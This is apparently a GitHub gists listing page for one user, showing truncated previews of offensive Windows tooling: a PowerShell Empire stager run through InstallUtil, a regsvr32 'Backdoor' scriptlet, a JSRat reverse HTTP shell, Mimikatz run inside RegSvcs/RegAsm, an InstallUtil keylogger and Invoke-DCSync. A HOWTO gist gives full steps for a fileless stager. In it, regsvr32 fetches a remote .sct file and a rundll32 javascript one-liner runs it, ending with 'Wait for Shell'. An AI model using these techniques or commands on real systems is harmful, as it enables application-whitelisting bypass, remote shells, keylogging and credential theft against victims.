eniac888’s gists

eniac888 / empire.cs

Created April 22, 2016 05:25

PowerShell Empire via InstallUtil.exe

	using System;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	//Add For PowerShell Invocation
	using System.Collections.ObjectModel;
	using System.Management.Automation;
	using System.Management.Automation.Runspaces;

eniac888 / Backdoor.sct

Created April 19, 2016 02:45

Execute Script Via regsvr32.exe

	<?XML version="1.0"?>
	<scriptlet>

	<registration
	description="Empire"
	progid="Empire"
	version="1.00"
	classid="{20001111-0000-0000-0000-0000FEEDACDC}"
	>
	<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->

eniac888 / HOWTO

Created April 18, 2016 04:25

Fileless Empire Stager

	1. Create Empire Listener
	2. Generate Stager
	3. Host Stager Code At Some URL
	4. Host .sct File At Some URL
	5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
	6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
	-Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
	7. Wait for Shell...

eniac888 / JSRat.ps1

Created April 5, 2016 04:35

Fileless JavaScript Reverse HTTP Shell

	<#

	Author: Casey Smith @subTee

	License: BSD3-Clause

	.SYNOPSIS

	Simple Reverse Shell over HTTP. Execute Commands on Client.

eniac888 / udpProxyServer.cpp

Created November 18, 2015 16:09 — forked from mike-zhang/udpProxyServer.cpp

a simple udp proxy server (cpp code)

eniac888 / katz.cs

Created November 16, 2015 04:15

Execute Mimikatz Inside of RegSvcs or RegAsm - .NET utilities Proof of Concept

	using System;
	using System.IO;
	using System.Text;
	using System.IO.Compression;
	using System.EnterpriseServices;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Security.Cryptography;

	/*

eniac888 / iukl.cs

Created October 9, 2015 03:34

InstallUtil Keylogger/MouseClick Recorder - Stores Logs in [Documents\Klog-Logs]

	using System;
	using System.IO;
	using System.Diagnostics;
	using System.Windows.Forms;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;
	//KeyStroke Mouse Clicks Code
	/*
	* https://code.google.com/p/klog-sharp/
	*/

eniac888 / pshell.cs

Created October 4, 2015 09:10

Invoke Interactive PowerShell and Run Local Scripts Inside InstallUtil

	using System;
	using System.IO;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	//Add For PowerShell Invocation
	using System.Collections.ObjectModel;
	using System.Management.Automation;

eniac888 / Invoke-DCSync.ps1

Created October 3, 2015 11:15 — forked from monoxgas/Invoke-DCSync.ps1

What more could you want?

This file has been truncated, but you can view the full file.

	function Get-NetUser {
	<#
	.SYNOPSIS
	Query information for a given user or users in the domain.

	.DESCRIPTION
	This function users [ADSI] and LDAP to query the current
	domain for all users. Another domain can be specified to
	query for users across a trust.
	This is a replacement for "net users /domain"

eniac888 / proxy_s5.py

Last active September 21, 2015 03:04 — forked from yaonie/proxy_s5.py

	#!/usr/bin/python
	# Filename s5.py
	# Python Dynamic Socks5 Proxy
	# Usage: python s5.py 1080
	# Background Run: nohup python s5.py 1080 &
	# Email: [email protected]

	import socket, sys, select, SocketServer, struct, time

	class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass